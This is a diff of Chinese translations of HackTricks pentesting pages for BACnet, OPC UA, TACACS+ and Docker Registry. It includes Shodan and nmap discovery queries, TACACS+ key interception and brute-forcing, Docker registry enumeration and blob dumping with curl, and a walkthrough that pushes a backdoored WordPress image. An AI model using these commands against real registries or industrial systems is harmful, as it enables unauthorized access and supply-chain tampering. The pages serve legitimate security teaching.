||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 协议信息
|
||||
|
||||
**BACnet**是一种用于建筑自动化和控制(BAC)网络的**通信协议**,利用**ASHRAE**、**ANSI**和**ISO 16484-5标准**协议。它促进建筑自动化和控制系统之间的通信,实现诸如暖通空调控制、照明控制、门禁控制和火灾检测系统等应用之间的信息交换。BACnet确保互操作性,使计算机化建筑自动化设备能够通信,无论它们提供的具体服务是什么。
|
||||
**BACnet** 是一种用于建筑自动化和控制 (BAC) 网络的 **通信协议**,利用 **ASHRAE**、**ANSI** 和 **ISO 16484-5 标准** 协议。它促进建筑自动化和控制系统之间的通信,使 HVAC 控制、照明控制、访问控制和火灾探测系统等应用能够交换信息。BACnet 确保互操作性,并允许计算机化的建筑自动化设备进行通信,无论它们提供的具体服务是什么。
|
||||
|
||||
**默认端口:** 47808
|
||||
```text
|
||||
|
@ -46,13 +47,30 @@ print(f"Model Name: {readDevice[11]}")
|
|||
print(f"Version: {readDevice[2]}")
|
||||
# print(readDevice) #List all available info about the device
|
||||
```
|
||||
## 自动化
|
||||
## 自动
|
||||
```bash
|
||||
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
|
||||
```
|
||||
这个脚本并不尝试作为外部设备加入BACnet网络,而是直接向一个可通过IP地址访问的设备发送BACnet请求。
|
||||
这个脚本并不尝试作为外部设备加入BACnet网络,它只是直接向一个可通过IP地址访问的设备发送BACnet请求。
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:47808 instance`
|
||||
* `"Instance ID" "Vendor Name"`
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass),或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,60 +1,62 @@
|
|||
# 4840 - Pentesting OPC UA
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
**OPC UA**,代表**开放平台通信统一访问**,是一个关键的开源协议,用于制造业、能源、航空航天和国防等各行业的数据交换和设备控制。它独特地实现了不同供应商设备之间的通信,特别是与可编程逻辑控制器(PLCs)的通信。
|
||||
**OPC UA**,即**开放平台通信统一访问**,是一个关键的开源协议,广泛应用于制造、能源、航空航天和国防等行业的数据交换和设备控制。它独特地使不同供应商的设备能够进行通信,特别是与PLC的通信。
|
||||
|
||||
其配置允许采取强大的安全措施,但通常为了与旧设备兼容,这些措施会减弱,从而使系统面临风险。此外,发现OPC UA服务可能有些棘手,因为网络扫描工具可能无法检测到它们,特别是当它们位于非标准端口上时。
|
||||
其配置允许强大的安全措施,但为了与旧设备的兼容性,这些措施往往会减弱,从而使系统面临风险。此外,寻找OPC UA服务可能会很棘手,因为网络扫描仪可能无法检测到它们,如果它们位于非标准端口上。
|
||||
|
||||
**默认端口:** 4840
|
||||
```text
|
||||
PORT STATE SERVICE REASON
|
||||
4840/tcp open unknown syn-ack
|
||||
```
|
||||
## OPC UA 渗透测试
|
||||
## Pentesting OPC UA
|
||||
|
||||
要揭示 OPC UA 服务器中的安全问题,请使用[OpalOPC](https://opalopc.com/)进行扫描。
|
||||
要揭示OPC UA服务器中的安全问题,请使用[OpalOPC](https://opalopc.com/)进行扫描。
|
||||
```bash
|
||||
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
||||
```
|
||||
### 利用漏洞
|
||||
|
||||
如果发现身份验证绕过漏洞,您可以相应地配置一个[OPC UA客户端](https://www.prosysopc.com/products/opc-ua-browser/),查看您可以访问的内容。这可能允许您从仅仅读取过程值到实际操作重型工业设备。
|
||||
如果发现身份验证绕过漏洞,可以相应地配置一个 [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/),看看可以访问什么。这可能允许从仅仅读取过程值到实际操作重型工业设备的任何事情。
|
||||
|
||||
要了解您可以访问的设备的线索,请阅读地址空间中的“ServerStatus”节点值,并搜索使用手册。
|
||||
要获取您可以访问的设备的线索,请读取地址空间中的 "ServerStatus" 节点值,并在谷歌上搜索使用手册。
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:4840`
|
||||
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
|
||||
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# 49 - 渗透测试 TACACS+
|
||||
# 49 - Pentesting TACACS+
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -24,7 +25,7 @@
|
|||
|
||||
## 基本信息
|
||||
|
||||
**终端访问控制器访问控制系统(TACACS)**协议用于集中验证试图访问路由器或网络访问服务器(NAS)的用户。其升级版本 **TACACS+** 将服务分为认证、授权和记账(AAA)三个部分。
|
||||
**终端访问控制器访问控制系统 (TACACS)** 协议用于集中验证试图访问路由器或网络接入服务器 (NAS) 的用户。其升级版本 **TACACS+** 将服务分为身份验证、授权和计费 (AAA)。
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
49/tcp open tacacs
|
||||
|
@ -33,26 +34,26 @@ PORT STATE SERVICE
|
|||
|
||||
## 拦截认证密钥
|
||||
|
||||
如果客户端和TACACS服务器的通信被攻击者拦截,**加密的认证密钥可以被截取**。攻击者可以尝试**对密钥进行本地暴力破解攻击,而不会在日志中被检测到**。如果成功破解密钥,攻击者将获得对网络设备的访问权限,并可以使用诸如Wireshark之类的工具解密流量。
|
||||
如果客户端与TACACS服务器的通信被攻击者拦截,**加密的认证密钥可以被拦截**。攻击者可以尝试对密钥进行**本地暴力破解攻击,而不会在日志中被检测到**。如果成功破解密钥,攻击者将获得对网络设备的访问权限,并可以使用Wireshark等工具解密流量。
|
||||
|
||||
### 执行中间人攻击
|
||||
|
||||
**ARP欺骗攻击可用于执行中间人攻击**。
|
||||
可以利用**ARP欺骗攻击来执行中间人(MitM)攻击**。
|
||||
|
||||
### 暴力破解密钥
|
||||
|
||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/)可用于暴力破解密钥:
|
||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/)可以用来暴力破解密钥:
|
||||
```
|
||||
sudo loki_gtk.py
|
||||
```
|
||||
如果密钥成功被**暴力破解**(**通常以MD5加密格式**),**我们可以访问设备并解密TACACS加密流量。**
|
||||
如果密钥成功**暴力破解**(**通常为MD5加密格式**),**我们可以访问设备并解密TACACS加密的流量。**
|
||||
|
||||
### 解密流量
|
||||
一旦密钥成功破解,下一步是**解密TACACS加密流量**。如果提供了密钥,Wireshark可以处理加密的TACACS流量。通过分析解密后的流量,可以获取诸如**使用的横幅和管理员用户的用户名**等信息。
|
||||
一旦密钥成功破解,下一步是**解密TACACS加密的流量**。如果提供密钥,Wireshark可以处理加密的TACACS流量。通过分析解密后的流量,可以获取诸如**使用的横幅和管理员用户的用户名**等信息。
|
||||
|
||||
通过使用获取的凭据访问网络设备的控制面板,攻击者可以对网络进行控制。需要注意的是,这些操作严格用于教育目的,不应在未经适当授权的情况下使用。
|
||||
通过使用获得的凭据访问网络设备的控制面板,攻击者可以对网络施加控制。需要注意的是,这些行为仅限于教育目的,未经适当授权不得使用。
|
||||
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
@ -62,16 +63,17 @@ sudo loki_gtk.py
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS&HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**Telegram小组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,52 +1,47 @@
|
|||
# 5000 - Pentesting Docker Registry
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
一个名为**Docker registry**的存储和分发系统用于存放命名的 Docker 镜像,这些镜像可能有多个版本,通过标签进行区分。这些镜像在注册表中的**Docker repositories**中组织,每个存储库存储特定镜像的各个版本。提供的功能允许用户下载镜像到本地或上传到注册表,前提是用户具有必要的权限。
|
||||
一个被称为 **Docker registry** 的存储和分发系统用于 Docker 镜像,这些镜像有名称并且可能有多个版本,通过标签区分。这些镜像在注册表中的 **Docker repositories** 中组织,每个仓库存储特定镜像的不同版本。提供的功能允许用户在拥有必要权限的情况下将镜像下载到本地或上传到注册表。
|
||||
|
||||
**DockerHub** 作为 Docker 的默认公共注册表,但用户也可以选择运行开源 Docker 注册表/分发的本地版本,或选择商业支持的**Docker Trusted Registry**。此外,还可以在线找到各种其他公共注册表。
|
||||
|
||||
要从本地注册表下载镜像,使用以下命令:
|
||||
**DockerHub** 是 Docker 的默认公共注册表,但用户也可以选择操作开源 Docker registry/distribution 的本地版本,或选择商业支持的 **Docker Trusted Registry**。此外,在线上还可以找到各种其他公共注册表。
|
||||
|
||||
要从本地注册表下载镜像,可以使用以下命令:
|
||||
```bash
|
||||
docker pull my-registry:9000/foo/bar:2.1
|
||||
```
|
||||
|
||||
这个命令从`my-registry`域名上端口`9000`处的本地注册表中获取`foo/bar`镜像版本`2.1`。相反,要从DockerHub下载相同的镜像,特别是如果`2.1`是最新版本,则命令简化为:
|
||||
|
||||
此命令从位于 `my-registry` 域的本地注册表的 `9000` 端口获取 `foo/bar` 镜像版本 `2.1`。相反,要从 DockerHub 下载相同的镜像,特别是如果 `2.1` 是最新版本,则命令简化为:
|
||||
```bash
|
||||
docker pull foo/bar
|
||||
```
|
||||
|
||||
**默认端口:** 5000
|
||||
|
||||
**默认端口:** 5000
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5000/tcp open http Docker Registry (API: 2.0)
|
||||
```
|
||||
|
||||
## 发现
|
||||
|
||||
发现运行此服务的最简单方法是在nmap的输出中找到它。无论如何,请注意,由于它是基于HTTP的服务,可能在HTTP代理后面,nmap无法检测到它。\
|
||||
发现此服务运行的最简单方法是通过 nmap 的输出获取它。无论如何,请注意,由于它是基于 HTTP 的服务,它可能位于 HTTP 代理后面,nmap 将无法检测到它。\
|
||||
一些指纹:
|
||||
|
||||
* 如果访问 `/`,响应中不会返回任何内容
|
||||
* 如果访问 `/v2/`,则会返回 `{}`
|
||||
* 如果访问 `/v2/_catalog`,可能会获得:
|
||||
* 如果你访问 `/`,则响应中不会返回任何内容
|
||||
* 如果你访问 `/v2/`,则返回 `{}`
|
||||
* 如果你访问 `/v2/_catalog`,你可能会获得:
|
||||
* `{"repositories":["alpine","ubuntu"]}`
|
||||
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
||||
|
||||
|
@ -54,8 +49,7 @@ PORT STATE SERVICE VERSION
|
|||
|
||||
### HTTP/HTTPS
|
||||
|
||||
Docker注册表可能配置为使用**HTTP**或**HTTPS**。因此,您可能需要做的第一件事是**找出**正在配置的是哪种:
|
||||
|
||||
Docker registry 可能被配置为使用 **HTTP** 或 **HTTPS**。因此,您可能需要做的第一件事是 **找出哪一个** 被配置:
|
||||
```bash
|
||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||
#If HTTPS
|
||||
|
@ -66,11 +60,9 @@ Warning: <FILE>" to save to a file.
|
|||
#If HTTP
|
||||
{"repositories":["alpine","ubuntu"]}
|
||||
```
|
||||
### Authentication
|
||||
|
||||
### 认证
|
||||
|
||||
Docker注册表也可以配置为需要**认证**:
|
||||
|
||||
Docker registry 也可以配置为需要 **authentication**:
|
||||
```bash
|
||||
curl -k https://192.25.197.3:5000/v2/_catalog
|
||||
#If Authentication required
|
||||
|
@ -78,18 +70,14 @@ curl -k https://192.25.197.3:5000/v2/_catalog
|
|||
#If no authentication required
|
||||
{"repositories":["alpine","ubuntu"]}
|
||||
```
|
||||
|
||||
如果Docker Registry需要身份验证,您可以[**尝试使用此方法进行暴力破解**](../generic-methodologies-and-resources/brute-force.md#docker-registry)。\
|
||||
**如果找到有效凭据,您将需要使用它们**来枚举注册表,在`curl`中可以像这样使用它们:
|
||||
|
||||
如果 Docker Registry 需要身份验证,您可以[ **尝试使用此方法进行暴力破解**](../generic-methodologies-and-resources/brute-force.md#docker-registry)。\
|
||||
**如果您找到有效的凭据,您将需要使用它们** 来枚举注册表,在 `curl` 中,您可以这样使用它们:
|
||||
```bash
|
||||
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
||||
```
|
||||
|
||||
### 使用 DockerRegistryGrabber 进行枚举
|
||||
|
||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) 是一个用于枚举/转储 Docker 仓库(无需或带有基本身份验证)的 Python 工具。
|
||||
|
||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) 是一个 Python 工具,用于枚举 / 转储 Docker 注册表(无或带基本身份验证)
|
||||
```bash
|
||||
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
|
||||
|
||||
|
@ -163,11 +151,9 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
|
|||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||
```
|
||||
### 使用 curl 进行枚举
|
||||
|
||||
### 使用curl进行枚举
|
||||
|
||||
一旦您**获得对Docker注册表的访问权限**,以下是您可以使用的一些命令进行枚举:
|
||||
|
||||
一旦你**获得了对 docker registry 的访问**,以下是一些可以用来枚举的命令:
|
||||
```bash
|
||||
#List repositories
|
||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||
|
@ -230,13 +216,11 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
|
|||
#Inspect the insides of each blob
|
||||
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,当您下载并解压缩 blobs 文件时,文件和文件夹将出现在当前目录中。**如果您下载所有 blobs 并将它们解压缩到同一个文件夹中,它们将覆盖先前解压缩的 blobs 中的值**,因此请小心。最好将每个 blob 解压缩到不同的文件夹中,以检查每个 blob 的确切内容。
|
||||
注意,当您下载并解压缩 blobs 文件和文件夹时,它们将出现在当前目录中。**如果您下载所有 blobs 并在同一文件夹中解压缩,它们将覆盖先前解压缩的 blobs 的值**,因此请小心。将每个 blob 解压缩到不同的文件夹中以检查每个 blob 的确切内容可能会很有趣。
|
||||
{% endhint %}
|
||||
|
||||
### 使用 Docker 进行枚举
|
||||
|
||||
### 使用 docker 进行枚举
|
||||
```bash
|
||||
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
||||
docker pull 10.10.10.10:5000/ubuntu
|
||||
|
@ -255,10 +239,9 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
|||
docker ps #Using a different shell
|
||||
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
||||
```
|
||||
### Backdooring WordPress image
|
||||
|
||||
### 在WordPress镜像中植入后门
|
||||
|
||||
在发现一个保存WordPress镜像的Docker Registry的情况下,你可以对其进行后门操作。\
|
||||
在您找到一个保存 WordPress 镜像的 Docker Registry 的情况下,您可以对其进行后门植入。\
|
||||
**创建**后门:
|
||||
|
||||
{% code title="shell.php" %}
|
||||
|
@ -267,62 +250,70 @@ docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
创建一个 **Dockerfile**:
|
||||
创建一个 **Dockerfile**:
|
||||
|
||||
{% code title="Dockerfile" %}
|
||||
```
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
```bash
|
||||
FROM 10.10.10.10:5000/wordpress
|
||||
COPY shell.php /app/
|
||||
RUN chmod 777 /app/shell.php
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
**创建**新镜像,**检查**其是否已创建,并**推送**它:
|
||||
|
||||
**创建**新镜像,**检查**它是否已创建,并**推送**它:
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/wordpress .
|
||||
#Create
|
||||
docker images
|
||||
docker push registry:5000/wordpress #Push it
|
||||
```
|
||||
### Backdooring SSH server image
|
||||
|
||||
### 在SSH服务器镜像中植入后门
|
||||
|
||||
假设你发现了一个带有SSH镜像的Docker Registry,并且想要在其中植入后门。\
|
||||
假设你发现了一个带有SSH镜像的Docker Registry,并且你想要对其进行后门植入。\
|
||||
**下载**该镜像并**运行**它:
|
||||
|
||||
```bash
|
||||
docker pull 10.10.10.10:5000/sshd-docker-cli
|
||||
